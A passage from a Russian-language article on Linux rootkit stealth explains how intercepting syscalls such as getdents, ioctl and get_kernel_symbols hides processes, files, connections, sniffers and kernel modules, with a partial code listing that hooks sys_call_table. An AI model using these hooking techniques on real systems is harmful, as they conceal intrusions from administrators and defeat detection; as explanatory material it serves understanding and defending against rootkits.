Прятки в linux

Перехват системных вызовов


Помните MS-DOS? Там стелстирование осуществлялось путем подмены прерываний int13h/int 21h. В LINUX для той же цели используется перехват системных вызовов (system call или сокращенно syscall). Для сокрытия процессов и файлов достаточно перехватить всего один низ них — getdents, на которую опирается всем известная readdir, которая, в полном согласии со своим именем, читает содержимое директорий (и директории /proc в том числе! Другого легального способа просмотра списка процессов под LINUX в общем-то и нет). Функция-перехватчик садится поверх getdents и просматривает возращенный ею результат, выкусывая из него все "лишнее", то есть работает как фильтр.

Сетевые соединения стелсируется аналогичным образом (они монтируются на /proc/net). Чтобы замаскировать сниффер, необходимо перехватить системный вызов ioctl, подавляя PROMISC-флаг. А перехват системного вызова get_kernel_symbols позволяет замаскировать LKM-модуль так, что его никто не найдет.

Звучит заманчиво. Остается только реализовать это на практике. Ядро экспортирует переменную extern void sys_call_table, содержащую массив указателей на syscall'ы, каждая ячейка которого содержит либо действительный указатель на соответствующий syscall, либо NULL, свидетельствующий о том, что данный системный вызов не реализован.

Просто объявите в своем модуле переменную *sys_call_table[] и тогда все системные вызовы окажутся в ваших руках. Имена известных syscall'ов перечислены в файле /usr/include/sys/syscall.h. В частности, sys_call_table[SYS_getdents]

возвращает указатель на getdents.

Простейший пример перехвата выглядит так (за более подробной информацией обращайтесь к статье "Weakening the Linux Kernel", опубликованной в 52 номере PHRACK'а):

// указатель на таблицу системных вызовов

extern void *sys_call_table[];

// указатели на старые системные вызовы

int (*o_getdents) (uint, struct dirent *, uint);

// перехват!

int init_module(void)

{



       // получаем указатель на оригинальный


       // системный вызов SYS_getdents

       // и сохраняем его в переменной o_getdents

       o_getdents = sys_call_table[SYS_getdents];

      

       // заносим указатель на функцию перехватчик

       // ( код самого перехватчика для экономии здесь не показан)

       sys_call_table[SYS_getdents] = (void *) n_getdents;

      

       // возвращаемся

       return 0;

}

// восстановление оригинальных обработчиков

void cleanup_module(void)

{

       sys_call_table[SYS_getdents] = o_getdents;

}

Листинг 7 техника перехвата системных вызовов

По такому принципу работает подавляющее большинство rootkit'ов, правда, попав на неизвестное ядро, часть из них со страшным грохотом падает, а часть просто прекращает работу, что и не удивительно! Ведь раскладка системных вызовов меняется от ядра к ядру!



Рисунок 5 последствия неудачного перехвата системных вызовов


Содержание раздела